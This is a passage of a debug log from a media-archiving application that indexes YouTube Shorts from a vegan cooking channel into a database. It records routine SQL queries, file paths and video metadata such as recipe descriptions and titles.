[debug] QUERY OK source="media_items" db=2.3ms idle=4.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-02 01:00:13Z], 1] 20:29:42.636 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full recipe video here: https://youtu.be/rbG65z34oOI\nI love these apple cinnamon quinoa oat bars because they're easy to make, great grab and go snacks, and they're filling. I've made mine vegan and gluten free and they turned out perfect.", "Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts", "269a2d9a-10ee-44f7-a705-fc874d199167", 1, [], 55, false, "yt4uo-Z0TG8", "https://www.youtube.com/shorts/yt4uo-Z0TG8", 405, "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts/Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts [yt4uo-Z0TG8].NA", false, false, true, 2, ~U[2022-06-02 01:00:13Z], ~U[2026-03-22 03:29:42Z], ~U[2026-03-22 03:29:42Z], "Full recipe video here: https://youtu.be/rbG65z34oOI\nI love these apple cinnamon quinoa oat bars because they're easy to make, great grab and go snacks, and they're filling. I've made mine vegan and gluten free and they turned out perfect.", "Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts", 1, 55, false, "yt4uo-Z0TG8", "https://www.youtube.com/shorts/yt4uo-Z0TG8", "/downloads/downloads/alec/Steamy Vegan/2022-06-02 Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts/Apple Cinnamon Quinoa Oat Bars - Vegan and Gluten Free #shorts [yt4uo-Z0TG8].NA", true, ~U[2022-06-02 01:00:13Z]] 20:29:42.637 [debug] QUERY OK source="sources" db=0.5ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:42.637 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:42.638 [debug] QUERY OK source="media_items" db=0.4ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [794] 20:29:42.638 [debug] Current batch of media processed. Will check again in 1000ms 20:29:43.639 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This almond flour pie crust is tender, melt-in-your-mouth buttery goodness! \n\nWant the full recipe and ingredients PLUS the full video for my latest Strawberry Rhubarb Pie? 🍓 Head to my blog: https://steamyvegankitchen.com/strawberry-rhubarb-pie/\n\nYouTube video is also here:\nhttps://youtu.be/42Ra2CeeUM8", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-01 How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!/How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy! [w0twf3Zv7rs].NA", "id" => "w0twf3Zv7rs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/w0twf3Zv7rs", "playlist_index" => 406, "timestamp" => 1654115433, "title" => "How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!", "upload_date" => "20220601"} 20:29:43.641 [debug] QUERY OK source="sources" db=0.3ms queue=0.7ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:43.642 [debug] QUERY OK source="sources" db=1.0ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:43.645 [debug] QUERY OK source="media_items" db=3.3ms idle=1004.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-01 20:30:33Z], 1] 20:29:43.649 [debug] QUERY OK source="media_items" db=2.3ms idle=1007.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This almond flour pie crust is tender, melt-in-your-mouth buttery goodness! \n\nWant the full recipe and ingredients PLUS the full video for my latest Strawberry Rhubarb Pie? 🍓 Head to my blog: https://steamyvegankitchen.com/strawberry-rhubarb-pie/\n\nYouTube video is also here:\nhttps://youtu.be/42Ra2CeeUM8", "How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!", "bd973fd1-4d5b-4243-b046-95bb6c51ba61", 1, [], 60, false, "w0twf3Zv7rs", "https://www.youtube.com/shorts/w0twf3Zv7rs", 406, "/downloads/downloads/alec/Steamy Vegan/2022-06-01 How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!/How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy! [w0twf3Zv7rs].NA", false, false, true, 1, ~U[2022-06-01 20:30:33Z], ~U[2026-03-22 03:29:43Z], ~U[2026-03-22 03:29:43Z], "This almond flour pie crust is tender, melt-in-your-mouth buttery goodness! \n\nWant the full recipe and ingredients PLUS the full video for my latest Strawberry Rhubarb Pie? 🍓 Head to my blog: https://steamyvegankitchen.com/strawberry-rhubarb-pie/\n\nYouTube video is also here:\nhttps://youtu.be/42Ra2CeeUM8", "How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!", 1, 60, false, "w0twf3Zv7rs", "https://www.youtube.com/shorts/w0twf3Zv7rs", "/downloads/downloads/alec/Steamy Vegan/2022-06-01 How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy!/How to make vegan gluten-free pie crust 🥧 buttery, tender and so yummy! [w0twf3Zv7rs].NA", true, ~U[2022-06-01 20:30:33Z]] 20:29:43.650 [debug] QUERY OK source="sources" db=1.0ms idle=155.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:43.651 [debug] QUERY OK source="media_profiles" db=1.0ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:43.653 [debug] QUERY OK source="media_items" db=0.8ms idle=10.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [795] 20:29:43.654 [debug] Current batch of media processed. Will check again in 1000ms 20:29:44.656 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Peter Griffin shares his wisdom on eating healthy while he opens his own food truck in this episode of the Family Guy. Definitely worried about getting devoured by gremlins as we eat gluten free and vegan although they are pretty cute if you ask me. \n\nSubscribe for more daily humor and healthy recipes!", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-31 Peter Griffin’s wisdom on eating healthy - Family Guy/Peter Griffin’s wisdom on eating healthy - Family Guy [84g_AH85A48].NA", "id" => "84g_AH85A48", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/84g_AH85A48", "playlist_index" => 407, "timestamp" => 1654038453, "title" => "Peter Griffin’s wisdom on eating healthy - Family Guy", "upload_date" => "20220531"} 20:29:44.657 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1007.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:44.658 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1007.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:44.660 [debug] QUERY OK source="media_items" db=2.4ms idle=1006.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-31 23:07:33Z], 1] 20:29:44.662 [debug] QUERY OK source="media_items" db=0.7ms idle=1007.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Peter Griffin shares his wisdom on eating healthy while he opens his own food truck in this episode of the Family Guy. Definitely worried about getting devoured by gremlins as we eat gluten free and vegan although they are pretty cute if you ask me. \n\nSubscribe for more daily humor and healthy recipes!", "Peter Griffin’s wisdom on eating healthy - Family Guy", "b9097c81-0673-4299-835f-b9b14b5d34cc", 1, [], 14, false, "84g_AH85A48", "https://www.youtube.com/shorts/84g_AH85A48", 407, "/downloads/downloads/alec/Steamy Vegan/2022-05-31 Peter Griffin’s wisdom on eating healthy - Family Guy/Peter Griffin’s wisdom on eating healthy - Family Guy [84g_AH85A48].NA", false, false, true, 0, ~U[2022-05-31 23:07:33Z], ~U[2026-03-22 03:29:44Z], ~U[2026-03-22 03:29:44Z], "Peter Griffin shares his wisdom on eating healthy while he opens his own food truck in this episode of the Family Guy. Definitely worried about getting devoured by gremlins as we eat gluten free and vegan although they are pretty cute if you ask me. \n\nSubscribe for more daily humor and healthy recipes!", "Peter Griffin’s wisdom on eating healthy - Family Guy", 1, 14, false, "84g_AH85A48", "https://www.youtube.com/shorts/84g_AH85A48", "/downloads/downloads/alec/Steamy Vegan/2022-05-31 Peter Griffin’s wisdom on eating healthy - Family Guy/Peter Griffin’s wisdom on eating healthy - Family Guy [84g_AH85A48].NA", true, ~U[2022-05-31 23:07:33Z]] 20:29:44.662 [debug] QUERY OK source="sources" db=0.3ms idle=166.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:44.663 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:44.663 [debug] QUERY OK source="media_items" db=0.3ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [796] 20:29:44.664 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Because growing your own food is SEXY! I love my iHarvest by @igworks01 and have saved so much money by growing my own greens and veggies. \n\nI'm sexy and I grow it! 😍", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-31 I’m sexy and I GROW IT 🌱🌿🥬/I’m sexy and I GROW IT 🌱🌿🥬 [My-7v6ENHRY].NA", "id" => "My-7v6ENHRY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/My-7v6ENHRY", "playlist_index" => 408, "timestamp" => 1654013944, "title" => "I’m sexy and I GROW IT 🌱🌿🥬", "upload_date" => "20220531"} 20:29:44.665 [debug] QUERY OK source="sources" db=1.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:44.666 [debug] QUERY OK source="sources" db=0.7ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:44.668 [debug] QUERY OK source="media_items" db=1.8ms queue=0.2ms idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-31 16:19:04Z], 1] 20:29:44.669 [debug] QUERY OK source="media_items" db=0.6ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Because growing your own food is SEXY! I love my iHarvest by @igworks01 and have saved so much money by growing my own greens and veggies. \n\nI'm sexy and I grow it! 😍", "I’m sexy and I GROW IT 🌱🌿🥬", "b13eccd3-9549-443d-81e2-ebc745e5c82e", 1, [], 15, false, "My-7v6ENHRY", "https://www.youtube.com/shorts/My-7v6ENHRY", 408, "/downloads/downloads/alec/Steamy Vegan/2022-05-31 I’m sexy and I GROW IT 🌱🌿🥬/I’m sexy and I GROW IT 🌱🌿🥬 [My-7v6ENHRY].NA", false, false, true, 1, ~U[2022-05-31 16:19:04Z], ~U[2026-03-22 03:29:44Z], ~U[2026-03-22 03:29:44Z], "Because growing your own food is SEXY! I love my iHarvest by @igworks01 and have saved so much money by growing my own greens and veggies. \n\nI'm sexy and I grow it! 😍", "I’m sexy and I GROW IT 🌱🌿🥬", 1, 15, false, "My-7v6ENHRY", "https://www.youtube.com/shorts/My-7v6ENHRY", "/downloads/downloads/alec/Steamy Vegan/2022-05-31 I’m sexy and I GROW IT 🌱🌿🥬/I’m sexy and I GROW IT 🌱🌿🥬 [My-7v6ENHRY].NA", true, ~U[2022-05-31 16:19:04Z]] 20:29:44.670 [debug] QUERY OK source="sources" db=0.5ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:44.671 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:44.672 [debug] QUERY OK source="media_items" db=0.6ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [797] 20:29:44.672 [debug] Current batch of media processed. Will check again in 1000ms 20:29:45.551 [info] {"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:29:45.673 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "These dark chocolate fruit and nut clusters are so delicious and so hot you'll drool over them just like you do over Patrick Swayze's dance moves in Dirty Dancing. \n\nFull Recipe Video: https://youtu.be/Vz0RjvXVJf4\n\nAlso, if you like chocolate check out my Chocolate Avocado Pie recipe here: https://youtu.be/8GSEsZWhkhs", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-31 A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts/A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts [Pxy6PbciIew].NA", "id" => "Pxy6PbciIew", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Pxy6PbciIew", "playlist_index" => 409, "timestamp" => 1653964041, "title" => "A snack that's almost as hot as Patrick Swayze in Dirty Dancing #shorts", "upload_date" => "20220531"} 20:29:45.674 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:45.675 [debug] QUERY OK source="sources" db=0.5ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:45.677 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-31 02:27:21Z], 1] 20:29:45.678 [debug] QUERY OK source="media_items" db=0.8ms idle=180.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These dark chocolate fruit and nut clusters are so delicious and so hot you'll drool over them just like you do over Patrick Swayze's dance moves in Dirty Dancing. \n\nFull Recipe Video: https://youtu.be/Vz0RjvXVJf4\n\nAlso, if you like chocolate check out my 